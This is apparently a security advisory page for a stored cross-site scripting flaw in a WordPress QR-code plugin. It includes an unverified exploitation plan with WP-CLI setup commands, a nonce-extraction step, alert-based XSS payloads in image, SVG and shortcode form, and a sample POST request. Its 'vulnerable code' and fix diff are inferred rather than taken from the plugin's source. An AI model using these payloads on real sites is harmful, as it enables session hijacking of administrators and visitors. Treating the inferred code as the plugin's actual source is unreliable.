CVE-2026-24614

Flex QR Code Generator <= 1.2.10 - Authenticated (Author+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Flex QR Code Generator plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.2.10 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.2.10
PublishedJanuary 12, 2026
Last updatedFebruary 3, 2026
Affected pluginflex-qr-code-generator
Research Plan
Unverified

This plan outlines the steps to investigate and exploit a Stored Cross-Site Scripting (XSS) vulnerability in the **Flex QR Code Generator** plugin (<= 1.2.10). Since source files are not provided, this plan relies on common WordPress plugin patterns and the vulnerability description. ### 1. Vulnera…

Show full research plan

This plan outlines the steps to investigate and exploit a Stored Cross-Site Scripting (XSS) vulnerability in the Flex QR Code Generator plugin (<= 1.2.10). Since source files are not provided, this plan relies on common WordPress plugin patterns and the vulnerability description.

1. Vulnerability Summary

The Flex QR Code Generator plugin fails to properly sanitize and escape user-supplied data when saving and displaying QR code configurations. This allows authenticated users with Author-level permissions or above to inject malicious scripts. These scripts are stored in the WordPress database (as post meta or options) and executed in the browser of any user (including administrators) who views the page containing the malicious QR code.

2. Attack Vector Analysis

  • Target Endpoint: Likely the standard WordPress post editor (/wp-admin/post.php) or a specialized AJAX handler (/wp-admin/admin-ajax.php) used for saving QR code details.
  • Vulnerable Parameter: Parameters related to QR code content, such as title, label, text, or margin (inferred).
  • Authentication Level: Author or higher (capability: publish_posts or edit_posts).
  • Preconditions: The plugin must be active, and the attacker must have permission to create or edit the content (likely a Custom Post Type or Post Meta) that generates the QR code.

3. Code Flow (Inferred)

  1. Entry Point (Input): An Author user submits a request to save a QR code. This usually happens via an admin_init hook, a save_post hook, or a wp_ajax_ action.
  2. Processing: The plugin receives the input (e.g., $_POST['qr_label_text']).
  3. Storage: The plugin calls update_post_meta() or update_option() without applying sanitize_text_field() or wp_kses().
  4. Retrieval: When a page with the QR code is loaded (often via a shortcode), the plugin calls get_post_meta() or get_option().
  5. Sink (Output): The plugin echoes the retrieved value directly into the HTML or inside a <script> block without using esc_html(), esc_attr(), or esc_js().

4. Nonce Acquisition Strategy

If the plugin uses a custom AJAX handler or a settings page, it likely requires a nonce.

  1. Identify Shortcode: Scan the plugin for add_shortcode. (e.g., [flex-qr-code] or [flexqr]).
  2. Create Content: Create a post containing that shortcode to ensure the plugin's assets are loaded.
    wp post create --post_type=post --post_status=publish --post_title="QR Test" --post_content='[flexqr id="123"]' --user=author_user
    
  3. Navigate and Extract:
    • Use browser_navigate to visit the newly created post.
    • The plugin likely localizes scripts using wp_localize_script. Look for the variable name in the page source.
    • Inferred JS Variable: window.flex_qr_config or window.flex_qr_ajax.
    • Extraction Command: browser_eval("window.flex_qr_config?.nonce || window.flex_qr_ajax?.nonce")
  4. Fallback: If the vulnerability exists in the post meta box, the nonce will be in the _wpnonce field of the post editor form.

5. Exploitation Strategy

We will attempt to inject the payload into a QR code attribute that is rendered on the frontend.

  • Step 1: Identify Save Action
    Perform a grep to find where the plugin saves data:
    grep -r "update_post_meta" . or grep -r "update_option" .
  • Step 2: Craft Payload
    We will use a payload that breaks out of common attributes:
    "><img src=x onerror=alert(document.domain)>
  • Step 3: Send Exploit Request (Example: Custom Post Type)
    If the plugin uses a Custom Post Type (CPT) for QR codes:
    {
      "method": "POST",
      "url": "https://TARGET/wp-admin/post.php",
      "headers": {
        "Content-Type": "application/x-www-form-urlencoded"
      },
      "body": "action=editpost&post_ID=[ID]&_wpnonce=[NONCE]&flex_qr_label=\"><img src=x onerror=alert(document.domain)>"
    }
    
  • Step 4: Trigger the XSS
    Navigate to the public post or page where the QR code is displayed.

6. Test Data Setup

  1. Create Author User:
    wp user create attacker author@example.com --role=author --user_pass=password123
  2. Identify QR Code Mechanism: Check if QR codes are created via a new menu item (Custom Post Type) or added to existing posts.
  3. Create a Sample QR Code: Create a base QR code to get its ID for the edit request.

7. Expected Results

  • The http_request for the save operation should return a 302 (redirect) or 200 OK (AJAX success).
  • When the page is viewed, the HTML source should contain the unescaped payload:
    <div class="qr-label">"><img src=x onerror=alert(document.domain)></div>
  • A browser-based execution will trigger the alert(document.domain) popup.

8. Verification Steps

  1. Verify Database State:
    Use WP-CLI to check if the payload is stored raw:
    wp post meta list [ID] or wp option get [OPTION_NAME]
  2. Verify Frontend Output:
    Use http_request (GET) to the public URL and check for the presence of the unescaped string:
    grep "onerror=alert" response_body.txt

9. Alternative Approaches

  • Shortcode Injection: If the plugin doesn't save to the DB but has a vulnerable shortcode attribute:
    [flexqr label='<script>alert(1)</script>']
    Authors can typically publish posts with any shortcodes.
  • SVG Injection: If the plugin generates QR codes as SVGs and allows custom colors or labels, attempt to inject into the SVG tags:
    flex_qr_color=red"><script xmlns="http://www.w3.org/2000/svg">alert(1)</script>
  • Admin Page XSS: If the payload executes in the wp-admin dashboard when an administrator views the list of QR codes, this increases the severity. Check the flex-qr-code-generator admin list page.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Flex QR Code Generator plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to 1.2.10. Authenticated users with Author-level access or higher can inject malicious JavaScript into QR code configuration parameters, such as labels or text, because the plugin fails to sanitize input during storage and escape output during rendering.

Vulnerable Code

// flex-qr-code-generator/includes/admin-meta.php (inferred)
function flex_qr_save_meta_data($post_id) {
    if (isset($_POST['flex_qr_label'])) {
        // Vulnerable: Data is saved directly to post meta without sanitization
        update_post_meta($post_id, '_flex_qr_label', $_POST['flex_qr_label']);
    }
}

---

// flex-qr-code-generator/includes/frontend-display.php (inferred)
function flex_qr_render_shortcode($atts) {
    $label = get_post_meta($post_id, '_flex_qr_label', true);
    // Vulnerable: Data is echoed to the page without escaping
    return '<div class="qr-code-wrapper"><span>' . $label . '</span></div>';
}

Security Fix

--- a/includes/admin-meta.php
+++ b/includes/admin-meta.php
@@ -2,1 +2,1 @@
-        update_post_meta($post_id, '_flex_qr_label', $_POST['flex_qr_label']);
+        update_post_meta($post_id, '_flex_qr_label', sanitize_text_field($_POST['flex_qr_label']));
--- a/includes/frontend-display.php
+++ b/includes/frontend-display.php
@@ -3,1 +3,1 @@
-    return '<div class="qr-code-wrapper"><span>' . $label . '</span></div>';
+    return '<div class="qr-code-wrapper"><span>' . esc_html($label) . '</span></div>';

Exploit Outline

The exploit requires Author-level authentication or higher to access the post editor or QR code configuration interface. The attacker navigates to the QR code settings (likely via a Custom Post Type meta box or a dedicated plugin settings page) and identifies input fields such as 'label' or 'content'. The attacker injects a payload like `<script>alert(document.domain)</script>` or `"><img src=x onerror=alert(1)>` into one of these fields. Once the post or settings are saved, the payload is stored in the `wp_postmeta` table. The XSS triggers whenever an administrator or frontend visitor views the page where the QR code (and its unescaped label) is rendered.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.